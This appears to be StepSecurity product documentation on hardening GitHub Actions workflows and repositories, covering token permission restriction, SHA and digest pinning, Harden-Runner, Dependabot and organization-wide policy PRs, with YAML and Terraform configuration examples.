| ------------------------------------------------------------------- | ----------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| [Secure Workflow](/github/orchestrate-security/secure-workflow)     | Single workflow               | Paste a workflow file and get a hardened version back instantly                                                  |
| [Secure Repo](/github/orchestrate-security/secure-repo)             | All workflows in a repository | Analyze an entire repo and generate a single PR with all fixes                                                   |
| [Policy-Driven PRs](/github/orchestrate-security/policy-driven-prs) | Organization-wide             | Define policies centrally, get automated PRs or Issues across all selected repositories *(Enterprise Tier only)* |

### What Gets Fixed

Across all three tools, StepSecurity can apply the following security enhancements to your workflows and repositories:

* Restrict `GITHUB_TOKEN` permissions to least privilege
* Add [Harden-Runner](/github-actions/harden-runner) for runtime security monitoring
* Pin GitHub Actions to full-length commit SHAs
* Pin Docker image tags to immutable digests
* Update or create [Dependabot](https://docs.github.com/en/code-security/dependabot) configuration
* Add [CodeQL](https://codeql.github.com/) static analysis (SAST)
* Add [Dependency Review](https://docs.github.com/en/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review) for PR-level vulnerability scanning
* Add [OpenSSF Scorecard](https://securityscorecards.dev/) for security posture scoring
* Update [pre-commit](https://pre-commit.com/) hook configuration

For details on each enhancement — including what the fixes look like, exemption options, and configuration — see the individual tool pages above.

{% hint style="info" %}
Not every tool applies every enhancement. [Secure Workflow](/github/orchestrate-security/secure-workflow) focuses on workflow-level fixes (permissions, Harden-Runner, SHA pinning), while [Secure Repo](/github/orchestrate-security/secure-repo) and [Policy-Driven PRs](/github/orchestrate-security/policy-driven-prs) cover the full set including Dependabot, CodeQL, Scorecard.
{% endhint %}


# Policy Driven PRs

{% hint style="warning" %}
**Available for Enterprise Tier only**
{% endhint %}

Policy-Driven PRs automate security remediation across your repositories. Instead of manually fixing security misconfigurations one repository at a time, you define policies centrally and StepSecurity automatically generates Pull Requests to fix issues or creates GitHub Issues to track them.

This is especially valuable for organizations managing dozens or hundreds of repositories where manual remediation does not scale.

<figure><img src="/files/t8Sjx5hbzuIfRDdeK1j8" alt=""><figcaption><p>Policy Driven PRs page</p></figcaption></figure>

### How It Works

1. **Configure policies** — Choose which security controls to enforce (e.g., pin actions to commit SHAs, add Harden-Runner, restrict token permissions).
2. **Select repositories** — Apply policies to specific repositories or organization-wide.
3. **Choose remediation mode** — StepSecurity either opens Pull Requests with fixes or creates GitHub Issues to track vulnerabilities.
4. **Review and merge** — Your team reviews the automated PRs or triages the issues as part of normal workflow.

## Remediation Options

Choose how StepSecurity should respond when security misconfigurations or vulnerabilities are detected:

### Pull Requests

StepSecurity automatically generates PRs that fix security issues, such as hardening actions, pinning tags to commit SHAs, or restricting token permissions. Your team reviews and merges these PRs like any other code change.

{% embed url="<https://app.storylane.io/share/fqqaobdwgodp>" %}

### GitHub Issues

StepSecurity automatically creates GitHub Issues to track and discuss detected vulnerabilities. This is useful when you want human review before applying fixes, or when remediation requires context that cannot be fully automated.

## Customizing the PR Template

You can edit the PR template to match your organization's conventions. Click **Edit PR template** to customize it.

<figure><img src="https://754495266-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQJRZY4cfEeY3I7DXTOCp%2Fuploads%2Fas4AVxQg1qkDmn6bsXs1%2FScreenshot%202025-10-07%20at%2017.10.54.png?alt=media&#x26;token=4c730562-006a-413c-8841-7914e075867b" alt=""><figcaption><p>Edit PR template</p></figcaption></figure>

Keep the following placeholder unchanged so that actual security fixes are displayed correctly in the PR body:

```markdown
## Security Fixes
{{STEPSECURITY_SECURITY_FIXES}}
```

## Security Controls

Each control below targets a specific category of supply chain risk. Enable the ones relevant to your organization's security posture. When enabled, StepSecurity will automatically generate PRs or Issues based on your chosen remediation mode.

### Harden GitHub-Hosted Runner

**What it does:** Automatically adds the [Harden-Runner](https://docs.stepsecurity.io/harden-runner) GitHub Action as the first step in each job on GitHub-hosted runners.

**Why it matters:** CI/CD runners handle sensitive data — cloud secrets, NPM (Node Package Manager) tokens, production build artifacts — yet they often lack the runtime monitoring that corporate laptops and production servers receive. Harden-Runner closes this gap by providing runtime security monitoring purpose-built for CI/CD.

{% hint style="info" %}
**Real-world impact:** Harden-Runner has detected multiple real-world supply chain attacks, including the [tj-actions/changed-files compromise (CVE-2025-30066)](https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised), the [Sha1-Hulud npm attack in CNCF's Backstage](https://www.stepsecurity.io/blog/how-harden-runner-detected-the-sha1-hulud-supply-chain-attack-in-cncfs-backstage-repository), and a [compromise of the NX build system](https://www.stepsecurity.io/blog/supply-chain-security-alert-popular-nx-build-system-package-compromised-with-data-stealing-malware).
{% endhint %}

**What the PR contains:** Adds `step-security/harden-runner@v2` as the first step in every job that does not already have it, configured according to your chosen settings (see below).

#### **Configuring Harden-Runner**

Click the toggle next to **Harden GitHub-Hosted Runner** to enable it and open the **Harden Runner Configuration** modal. The modal offers two modes: a default configuration for quick setup, and a custom configuration for advanced use cases.

<figure><img src="/files/y8iKl7pXP7p3jOmIn4aM" alt=""><figcaption></figcaption></figure>

**Use Default Configuration**

When this toggle is enabled, StepSecurity injects the standard Harden-Runner step into your workflow files with default settings:

```yaml
- name: Harden Runner
  uses: step-security/harden-runner@v2
  with:
    egress-policy: audit
```

This is the recommended starting point for most organizations. It enables runtime visibility into outbound network calls made during your CI/CD jobs without blocking any traffic, giving you a baseline to review before moving to a stricter egress policy.

**Customize Harden Runner Action**

If your organization needs to go beyond the default setup, enable **Customize Harden Runner Action**. This lets you define a custom step YAML that will be injected into workflows instead of the default step.

<figure><img src="/files/y8iKl7pXP7p3jOmIn4aM" alt=""><figcaption></figcaption></figure>

The custom YAML editor accepts any valid Harden-Runner step definition. For example, you can enable Policy Store integration and pass in your StepSecurity API key:

```yaml
- name: Harden the runner
  uses: step-security/harden-runner@v2
  with:
    use-policy-store: true
    api-key: ${{ secrets.STEP_SECURITY_API_KEY }}
```

**Update existing configuration:** When this toggle is enabled, repositories that already have a Harden-Runner step will have their configuration updated to match your custom settings. When disabled (the default), StepSecurity only adds Harden-Runner to jobs that do not already have it, leaving existing configurations untouched.

**Target Runner Labels**

By default, Harden-Runner is added to all jobs in your workflow files. Enable **Target Runner Labels** to restrict this behavior to only jobs whose `runs-on` value matches one of the labels you specify. This is useful when your organization uses a mix of GitHub-hosted and self-hosted runners and you only want to apply Harden-Runner to specific runner types.

### Pin Actions to Full-Length Commit SHA

**What it does:** Replaces mutable tags (e.g., `actions/checkout@v4`) with full-length commit SHA references (e.g., `actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683`).

**Why it matters:** GitHub Action tags are mutable — a tag like `v4` can be moved to point at entirely different code without any notification to consumers. If an action maintainer's account is compromised, an attacker can retag a malicious commit and every workflow referencing that tag will silently execute the attacker's code. Pinning to a commit SHA ensures your workflow always runs the exact code you reviewed.

{% hint style="success" %}
**Recommended by GitHub.** GitHub's own [Security Hardening Guide](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#using-third-party-actions) recommends pinning actions to full-length commit SHAs as a best practice.
{% endhint %}

**What the PR contains:** Updates all action references in your workflow files from tags to their corresponding full-length commit SHAs, with the original tag preserved as an inline comment for readability.

{% hint style="info" %}
**Exemptions:** You can exempt specific actions using the **Exempted Actions** input.

* `actions/checkout@v3` — exempts a specific action at a specific tag
* `actions/*` — exempts all actions under a specific owner
  {% endhint %}

{% hint style="warning" %}
**Exempt your internal actions.** StepSecurity does not currently pin internal actions (actions hosted in your own organization, such as `myorg/my-action`). If a workflow references an internal action that has not been exempted, that workflow file will not be fixed.

To ensure your workflow files are pinned, add your organization's actions to the **Exempted Actions** input using an owner wildcard, for example `myorg/*`.
{% endhint %}

### Restrict GitHub Token Permissions

**What it does:** Adds explicit `permissions` blocks to your workflow files, scoping `GITHUB_TOKEN` access to only what each job actually needs.

**Why it matters:** By default, GitHub Actions workflows receive a `GITHUB_TOKEN` with broad `read/write` access to the repository. If a workflow or dependency is compromised, that token can be used to push malicious code, create releases, or modify repository settings. Restricting permissions to the minimum required (principle of least privilege) limits the blast radius of any compromise.

{% hint style="warning" %}
**Default risk:** Without explicit permissions, every job in your workflow has `read/write` access to contents, packages, issues, pull requests, and more — even if the job only needs to read code.
{% endhint %}

**What the PR contains:** Adds a top-level `permissions: read-all` (or more restrictive) block and job-level permission overrides based on the API calls each job actually makes.

### Pin Image Tags to Digests in Dockerfiles

**What it does:** Replaces mutable Docker image tags (e.g., `FROM nginx:latest`) with immutable digest references (e.g., `FROM nginx@sha256:abc123...`).

**Why it matters:** Docker tags work the same way as GitHub Action tags — they are mutable pointers. The image behind `nginx:latest` today may not be the same image tomorrow. In a supply chain attack scenario, a compromised registry account could push a malicious image under an existing tag. Pinning to digests guarantees you always pull the exact image you intended.

{% hint style="info" %}
**Exemptions:** You can exempt specific images by listing their names in the exemption input.

* `nginx:alpine` — exempts a specific image and tag
* `postgres:14` — exempts a specific version
* `ubuntu:*` — wildcard to exempt all tags for an image
  {% endhint %}

**What the PR contains:** Updates `FROM` statements in your Dockerfiles to use digest references, with the original tag preserved as a comment.

### Replace Third-Party Actions with StepSecurity-Maintained Actions

**What it does:** Swaps popular third-party GitHub Actions with secure, audited drop-in replacements maintained by StepSecurity.

**Why it matters:** Every third-party action runs inside your CI/CD environment with access to your secrets and source code. StepSecurity-maintained replacements are continuously audited, giving you the same functionality with a significantly reduced supply chain risk.

{% hint style="success" %}
**Drop-in compatible.** StepSecurity-maintained actions are designed as direct replacements, same inputs, same outputs so switching requires no workflow logic changes.
{% endhint %}

**What the PR contains:** Replaces references to supported third-party actions with their StepSecurity-maintained equivalents, according to the mode and version rules you configure.

#### **Configuring Maintained Action Replacement**

**Replace Modes**

Choose how StepSecurity decides which actions get replaced:

* **Replace selected actions** *(default)* — only actions you check in the list are replaced. Use this for gradual, opt-in rollout.
* **Replace all, except exempted** — every action with a StepSecurity-maintained equivalent is replaced, except the ones you check. Use this for maximum coverage; new actions added to the catalog are included automatically.

<figure><img src="/files/GUvduFS1oSMnu7PvaIAF" alt=""><figcaption></figcaption></figure>

**Restrict replacement to same major version**

By default, StepSecurity replaces third-party actions with the **latest** version of the StepSecurity-maintained equivalent, regardless of which major version you were using.

Enable **Restrict replacement to same major version** to only replace when the major version matches. For example:

* `aquasecurity/setup-trivy@v0.2.3` → replaced only if `step-security/setup-trivy@v0` is available
* `aquasecurity/setup-trivy@v1.0.0` → replaced only if `step-security/setup-trivy@v1` is available

Use this when workflows depend on version-specific behavior and you want to avoid unexpected breaking changes from major-version jumps.

### Replace with Runner Labels

**What it does:** Replaces specific `runs-on` labels in your workflow files with alternative runner labels you define.

<figure><img src="/files/FdTg8HaKx70vgBVFQZTG" alt=""><figcaption></figcaption></figure>

**Why it matters:** This is useful when migrating from one runner fleet to another (e.g., from GitHub-hosted to self-hosted, or from one cloud provider to another), when standardizing runner label conventions across an organization, or when routing jobs to hardened runner pools with Harden-Runner pre-installed.

**What the PR contains:** Updates `runs-on` values in your workflow files to the replacement labels you specify.

### Update Dependabot Configuration

**What it does:** Enhances or creates a `dependabot.yml` configuration file in your repositories to ensure dependencies are kept up to date.

**Why it matters:** Outdated dependencies are one of the most common attack vectors in software supply chains. [Dependabot](https://docs.github.com/en/code-security/dependabot) automatically creates PRs when new versions of your dependencies are available, but many repositories either lack a Dependabot configuration or have an incomplete one that only covers a subset of their ecosystems.

{% hint style="info" %}
**Enhanced configuration options:** Through StepSecurity, you can add support for additional ecosystems (e.g., npm, pip, Docker, GitHub Actions), edit configurations directly in the StepSecurity platform, and use `cooldown` and `group` attributes to control update frequency and organize dependency updates.
{% endhint %}

**What the PR contains:** Adds or updates the `.github/dependabot.yml` file with expanded ecosystem coverage and configuration options.

**This interactive demo walks through configuring cooldown and group attributes for a repository using Policy Driven PRs:**

{% embed url="<https://app.storylane.io/share/bcbfgosjjkfa>" %}

### Update Pre-Commit Configuration

**What it does:** Adds or updates [pre-commit](https://pre-commit.com/) hook configurations in your repositories.

**Why it matters:** Pre-commit hooks are your first line of defense — they run checks locally before code is committed, catching issues like secrets in code, formatting violations, and known vulnerability patterns before they ever reach CI/CD. Keeping these configurations up to date ensures your hooks reflect current best practices and detect the latest threat patterns.

**What the PR contains:** Adds or updates the `.pre-commit-config.yaml` file with recommended hooks and updated hook versions.

### Add GitHub Actions from Workflow Templates

**What it does:** Adds workflows from your organization's recommended workflow template set that are missing from a repository.

**Why it matters:** Organizations often define standard CI/CD workflows (e.g., security scanning, linting, release pipelines) as [reusable workflow templates](https://docs.github.com/en/actions/sharing-automations/creating-workflow-templates-for-your-organization). However, new repositories or older repositories may not have adopted all of the organization's standard workflows. This control automatically identifies missing workflows and adds them.

**What the PR contains:** Adds workflow files from your organization's template repository that are not yet present in the target repository.

## Repository Selection

You can apply policies at two levels:

#### Organization-Wide

Select **All Repositories** to apply the configuration across your entire organization. When using this option, you can optionally filter by **repository topics** so that policies only apply to repositories matching specific criteria.

<figure><img src="https://754495266-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQJRZY4cfEeY3I7DXTOCp%2Fuploads%2F42AwrUrvJ5EGcxfi49Mv%2FScreenshot%202025-12-08%20at%2015.10.42.png?alt=media&#x26;token=55bf5d91-53a7-4d33-b298-fae3d129766f" alt=""><figcaption><p>Repository selection with topic filtering</p></figcaption></figure>

#### Per-Repository Overrides

Even when using organization-wide policies, you can override settings for specific repositories. This is useful when certain repositories have unique requirements that differ from the organization default.

**To set up a repository-level configuration:**

**Step 1:** Click the three dots (⋯) next to the repository you want to configure.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-10-13/30845caf-f4e5-48df-b683-7ab76e3ffa30/ascreenshot.jpeg?tl_px=1058,150\&br_px=3024,1249\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=1013,276)

**Step 2:** Click **Configure repository settings**.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-10-13/24e50782-da2a-4609-98e2-4ed5952fbd35/ascreenshot.jpeg?tl_px=1058,230\&br_px=3024,1329\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=948,276)

**Step 3:** Enable **Use repository-level configuration** and customize the settings as needed.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-10-13/7c51338c-f510-4ac2-a88b-174e0a4d5deb/ascreenshot.jpeg?tl_px=272,0\&br_px=3024,1538\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=897,17)

Repositories with custom configurations will display a **"Uses Repo Config"** tag next to their name.

<figure><img src="/files/h5rvxYIBLyYRKCqtYSbi" alt=""><figcaption></figcaption></figure>

## How Policy-Driven PRs Behave

This section covers how Policy-Driven PRs operate once enabled.

### One Open PR Per Repository

StepSecurity enforces a maximum of one open Policy-Driven PR per repository at a time.

If you enable an additional control while a Policy-Driven PR is already open (for example, you turn on "Replace third-party actions with StepSecurity-maintained actions" while a SHA-pinning PR is still open), StepSecurity does not open a second PR and does not modify the existing one. The new fix is queued instead.

Once the open PR is merged or closed, the next scheduled scan picks up all currently-enabled controls and generates a fresh PR containing every queued fix. Scans run automatically, with no manual trigger needed.

To bundle multiple sets of fixes into a single PR from the start, enable all the controls you want before the first scan runs. If a PR is already open and you want to add more fixes, merge or close it first so the next scan can regenerate it with the additional fixes.

### Merge Conflicts on Open PRs

StepSecurity does not automatically rebase or update an open Policy-Driven PR when new commits land on the target branch. If the target branch (for example, `main`) moves ahead while a StepSecurity-generated PR is still open, the PR remains open with merge conflicts.

To resolve this, close the conflicted PR. On the next scan, StepSecurity generates a fresh PR against the latest target branch.

## Managing Policies with Terraform

In addition to the UI, you can manage Policy-Driven PR configuration as code using the `stepsecurity_policy_driven_pr` resource in the [StepSecurity Terraform provider](https://github.com/step-security/terraform-stepsecurity-examples/tree/main/examples/gh-policy-driven-pr).

### Scoping to Repositories

Three arguments on the resource control which repositories a policy applies to:

* `selected_repos`: the repositories the policy applies to. Use an explicit list (`["repo-a", "repo-b"]`) or the wildcard `["*"]` to target all repositories.
* `excluded_repos`: repositories to opt out when `selected_repos` is set to `["*"]`.
* `selected_repos_filter`: restricts an organization-wide policy to repositories carrying specific topics, using `include_repos_only_with_topics`. This is the Terraform equivalent of the topic filtering described under Repository Selection.

The security controls themselves are configured inside the nested `auto_remediation_options` block.

**Apply to specific repositories:**

```hcl
resource "stepsecurity_policy_driven_pr" "selected" {
  owner          = "organization-name"
  selected_repos = ["test-repo-old"]

  auto_remediation_options = {
    create_pr                         = true
    harden_github_hosted_runner       = true
    pin_actions_to_sha                = true
    restrict_github_token_permissions = true
    secure_docker_file                = true
    actions_to_exempt_while_pinning   = ["actions/checkout", "actions/setup-node"]
  }
}
```

{% hint style="warning" %}
When enabling `pin_actions_to_sha`, include your organization's internal actions in `actions_to_exempt_while_pinning` using an owner wildcard (for example, `"myorg/*"`). StepSecurity does not currently pin internal actions, and workflow files that reference non-exempted internal actions will not be fixed. See the note under Pin Actions to Full-Length Commit SHA.
{% endhint %}

**Apply organization-wide with exclusions:**

```hcl
resource "stepsecurity_policy_driven_pr" "org_with_exclusions" {
  owner          = "organization-name"
  selected_repos = ["*"]
  excluded_repos = ["archived-repo", "test-repo-old"]

  auto_remediation_options = {
    create_pr                   = true
    harden_github_hosted_runner = true
    pin_actions_to_sha          = true
  }
}
```

**Apply organization-wide, filtered by repository topic:**

```hcl
resource "stepsecurity_policy_driven_pr" "org_by_topic" {
  owner          = "organization-name"
  selected_repos = ["*"]

  selected_repos_filter = {
    include_repos_only_with_topics = ["topic1", "topic2"]
  }

  auto_remediation_options = {
    create_pr                   = true
    harden_github_hosted_runner = true
    pin_actions_to_sha          = true
  }
}
```


# Pull Requests

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

The Pull Requests feature provides a centralized view of all pull requests (PRs) created using **Secure** **Repo**. This feature allows users to track the status of security-related PRs, ensuring that security improvements are reviewed, merged, and applied across repositories.

### Key Features

* Complete PR List: Displays all pull requests generated by Secure Repo.
* Real-Time Status: View whether a PR is open, merged, or closed.
* Direct GitHub Access: Clickable links to PRs for easy review.
* Sorting & Filtering: Organize PRs by repository or state.
* Author Attribution: See which user initiated each PR.

<figure><img src="/files/1a5085ZLi17mDr0KojQb" alt=""><figcaption></figcaption></figure>


# Secure Workflow

The Secure Workflow feature in StepSecurity helps improve the security of GitHub Actions workflows by applying industry best practices. With a single click, users can harden their workflow configurations, restrict unnecessary permissions, and enhance security without manually modifying YAML files.

### Key Features

* Restrict permissions for GITHUB\_TOKEN to follow the principle of least privilege.
* Add StepSecurity's Harden-Runner security agent for monitoring and controlling the GitHub-hosted runner.
* Pin all GitHub Actions to full-length commit SHAs to prevent supply chain attacks.

### How to Secure Your GitHub Actions Workflow

#### Step 1: Access the StepSecurity Dashboard

* Visit [StepSecurity Secure Workflow](https://app.stepsecurity.io/secure-workflow) or navigate to “Secure Workflow” under the Orchestrate Security section in your StepSecurity dashboard.

#### **Step 2: Paste Your Workflow File**

* Copy your GitHub Actions workflow file and paste it into the editor on the StepSecurity tool interface.

<figure><img src="/files/74qJFtVWUTr4R8gdIzcK" alt=""><figcaption></figcaption></figure>

#### **Step 3: Click on the “Secure Workflow” Button**

* Click the **“Secure Workflow”** button.
* The tool will automatically enhance the security of your workflow by applying recommended settings:
  * Restrict permissions for \[\[GITHUB\_TOKEN]].
  * Add [Harden-Runner](/github-actions/harden-runner) for the GitHub-hosted runner.
  * Pin actions to full-length commit SHAs.

<figure><img src="/files/I4MNEGMWgDL8j905DdHC" alt=""><figcaption><p>StepSecurity Secure Workflow Page</p></figcaption></figure>

#### **Step 4: Review and Apply the Suggested Changes**

* The tool will show a diff view of your original workflow versus the secure version.
* Key enhancements include:
  * Adjusted permissions to follow the principle of least privilege.
  * Integration of the StepSecurity Harden Runner with an audit egress policy.
  * Pinning all GitHub Actions to specific commit SHAs for better security

<figure><img src="/files/2G2YxHt24hpsH5ig1XJF" alt=""><figcaption></figcaption></figure>

#### **Step 5: Save and Commit the Changes**

* After reviewing the updates, copy the secure workflow provided by the platform.
* Apply the updated workflow manually to your repository by pasting it into the appropriate file in your project.


# Secure Repo

{% hint style="warning" %}
Enterprise customers should use [Policy-Driven PRs](/github/orchestrate-security/policy-driven-prs) to automatically secure multiple repositories
{% endhint %}

The Secure Repo feature in StepSecurity allows you to apply security best practices across all GitHub Actions workflows in your repository. It automates security improvements by scanning workflows, suggesting fixes, and generating a pull request for seamless integration.

### Key Features

* Automated Security Enhancements: Analyzes and applies security best practices to all workflow files.
* One-Click PR Creation: Generates a pull request with security fixes for easy review and merging.
* GitHub Best Practices Compliance: Ensures workflow permissions, dependencies, and secrets follow industry standards.
* Minimal Manual Intervention: StepSecurity automatically enforces security measures with minimal user effort.
* Orchestrate Custom Workflows: Define and enforce standardized GitHub Actions workflows across repositories by specifying mandatory template workflows that must be included in every repository. Learn how to use this feature [here](#how-to-setup-custom-workflow-templates).

### How to Secure Your Repository Using Secure Repo

#### Step 1: Access the StepSecurity Dashboard

* Visit [StepSecurity Secure Repo](https://app.stepsecurity.io/secure-repo) or navigate to “Secure Repo” under the Orchestrate Security section in your StepSecurity dashboard.

#### Step 2: Enter Your GitHub Repository

* Click on the **"Enter Your GitHub Repository"** field.
* Type or paste the URL of your GitHub repository.

{% hint style="warning" %}
For **Private** repositories, you need to provide a Personal Access Token (PAT)
{% endhint %}

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-12/821f73df-8302-45b2-b13f-a9b90630993a/ascreenshot.jpeg?tl_px=0,0&#x26;br_px=2266,1538&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=472,115" alt="StepSecurity Secure Repo page"><figcaption><p>StepSecurity Secure Repo page</p></figcaption></figure>

#### Step 3: Analyze the Repository

* Click the **"Analyze Repository"** button.
* Secure Repo will scan your repository and suggest security improvements.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-12/d31a27d6-7e6c-4998-a38c-1babb80c0779/user_cropped_screenshot.jpeg?tl_px=0,0&#x26;br_px=2266,1538&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=697,108" alt="StepSecurity Secure Repo page"><figcaption><p>StepSecurity Secure Repo page</p></figcaption></figure>

#### Step 4: Preview the Changes

* Click **"Preview Changes"** to review the security enhancements.

#### Step 5: Review commit message

* Review the commit message generated by Secure Repo.
* Click **"Preview Changes"** again to proceed.

<figure><img src="https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-12/f869f895-6943-4a88-87cd-7b8c7eb73d50/user_cropped_screenshot.jpeg?tl_px=300,518&#x26;br_px=2266,1617&#x26;force_format=jpeg&#x26;q=100&#x26;width=1120.0&#x26;wat=1&#x26;wat_opacity=1&#x26;wat_gravity=northwest&#x26;wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png&#x26;wat_pad=666,277" alt="StepSecurity Secure Repo page"><figcaption><p>StepSecurity Secure Repo page</p></figcaption></figure>

#### Step 6: Review Read-Only Preview

* Click on the "**read-only preview**" to review the proposed changes before creating a pull request

![StepSecurity Secure Repo page](https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-12/2ed30cda-cad5-42b8-b9b6-d79e4063676c/user_cropped_screenshot.jpeg?tl_px=0,0\&br_px=1965,1098\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=439,236)

#### Step 7: Inspect the Code Changes

* Ensure the proposed changes align with your repository’s security need

![Preview PR](https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-12/2d52a24f-7da1-4b6c-87d7-bc828a0675ec/ascreenshot.jpeg?tl_px=300,224\&br_px=2266,1323\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=101,526)

#### Step 8: Create a Pull Request

1. Click **"Create Pull Request"**.
2. Confirm the pull request details and click **"Create Pull Request"** again.

![StepSecurity Secure Repo page](https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-12/5250603b-733a-4d8d-b469-c9869db5db21/user_cropped_screenshot.jpeg?tl_px=300,0\&br_px=2266,1098\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=925,137)

#### Step 9: Final Confirmation

* Secure Repo will generate a confirmation message.
* Click the provided link to view your pull request on GitHub.

![StepSecurity Secure Repo page](https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-02-12/85f7f064-1225-4472-9164-f9fd4eb3c1dc/user_cropped_screenshot.jpeg?tl_px=300,0\&br_px=2266,1098\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=709,736)

#### **Step 10: Merge the Pull Request**

* Once you've reviewed the changes, click the "**Merge Pull Request**" button to apply the fixes to your repository.

![PR page](https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-01-27/bb59495d-db96-4bad-97e6-4a9cdf5086da/ascreenshot.jpeg?tl_px=0,498\&br_px=1965,1597\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=242,532)

#### **Step 11: Verify Security Fixes**

* After merging, confirm that the security fixes have been successfully applied by viewing the updated repository.
* You can also re-analyze the repository in StepSecurity to verify the changes.

![PR page](https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-01-28/8481e744-a0cb-48f1-a8e8-3c608f41c647/user_cropped_screenshot.jpeg?tl_px=0,210\&br_px=1528,1065\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=69,-56)

### How To Setup Custom Workflow Templates

Workflow templates allow you to define standardized workflows that can be used across all repositories in your organization. Setting up workflow templates is simple—just follow these steps:

#### Step 1: Access the StepSecurity Dashboard

* Click on your user profile picture in the StepSecurity dashboard.
* Select "**User Settings**" from the dropdown menu.

<figure><img src="/files/qfM97gIYwMaKptBoIFj2" alt=""><figcaption><p>StepSecurity Overview Dashboard</p></figcaption></figure>

#### Step 2: Configure Workflow Templates

* Navigate to the Workflow Templates section under User Settings.
* Enter the repository link containing the GitHub workflow templates.
* Click "**Update Templates Repository**" to save your changes.

<figure><img src="/files/iJstbUryunaFpU4GI47x" alt=""><figcaption><p>Workflow Templates under User Settings</p></figcaption></figure>

#### Step 3: Secure and Analyze a Repository

* Go to `Secure Repo` under the `Orchestrate Security` section.
* Enter the link to a repository in your organization.
* Click "**Analyze Repository"** to review security configurations.

#### Step 4: Apply Workflow Templates to Repositories

* Review the suggested changes in the repository.
* The system will automatically apply the specified workflow templates.

<figure><img src="/files/PJbVPIrKAaXilf84vHW0" alt=""><figcaption><p>StepSecurity Secure Repo page</p></figcaption></figure>

<br>


# Apps & PATs

{% hint style="info" %}
If you installed the StepSecurity Advanced GitHub App before January 6th, 2026, you will need to accept additional permissions to enable the Apps & PATs feature:

* administration: read
* personal\_access\_tokens: read

These permissions allow the StepSecurity Advanced GitHub App to:

* Discover all GitHub Apps installed in the organization
* Retrieve Fine-Grained Personal Access Tokens with organization access
* List Classic Personal Access Tokens authorized via SAML/SSO

**Note**: StepSecurity does not have access to any secret values or PAT contents. Only non-sensitive metadata is collected for visibility and security analysis.
{% endhint %}

**Follow this interactive demo to learn how to accept these new permissions in your organization:**

{% embed url="<https://app.storylane.io/share/lhfxghswkyd7>" %}

{% hint style="warning" %}
**Available for Enterprise Tier Only**
{% endhint %}

The Apps & PATs page provides visibility into all GitHub Apps and Personal Access Tokens (PATs) that have access to your GitHub organization.

This view helps security and platform teams understand which integrations and tokens exist, what permissions they have, and where they are used across the organization.

#### Refreshing Apps & PATs Data

The Apps & PATs page shows the data collected during the most recent scan of your organization. The **Last refreshed** timestamp at the top of the page indicates when this data was last updated.

To re-scan your organization on demand, click **Refresh** in the top-right corner. This triggers a background operation that re-scans all GitHub Apps, Fine-Grained PATs, and Classic PATs and updates the page with the latest state.

<figure><img src="/files/JB6JyUcCXrugTGGU0T99" alt=""><figcaption></figcaption></figure>

